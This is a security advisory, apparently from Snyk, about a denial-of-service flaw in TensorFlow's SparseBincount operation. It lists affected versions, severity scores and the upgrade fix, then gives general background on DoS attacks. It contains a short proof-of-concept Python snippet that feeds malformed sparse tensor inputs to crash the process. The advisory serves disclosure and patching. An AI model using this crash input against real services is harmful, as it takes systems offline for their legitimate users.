Denial of Service (DoS) Affecting tensorflow package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)


0.0
medium

Snyk CVSS

    Attack Complexity High
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.07% (30th percentile)
Expand this section
NVD
7.5 high

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  • Snyk ID SNYK-PYTHON-TENSORFLOW-3026898
  • published 18 Sep 2022
  • disclosed 16 Sep 2022
  • credit Di Jin

How to fix?

Upgrade tensorflow to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow is a machine learning framework.

Affected versions of this package are vulnerable to Denial of Service (DoS) when SparseBincount is given inputs for indices, values, and dense_shape that do not make a valid sparse tensor, it results in a segfault that can be used to trigger exploitation.

PoC

import tensorflow as tf
binary_output = True
indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366)
dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package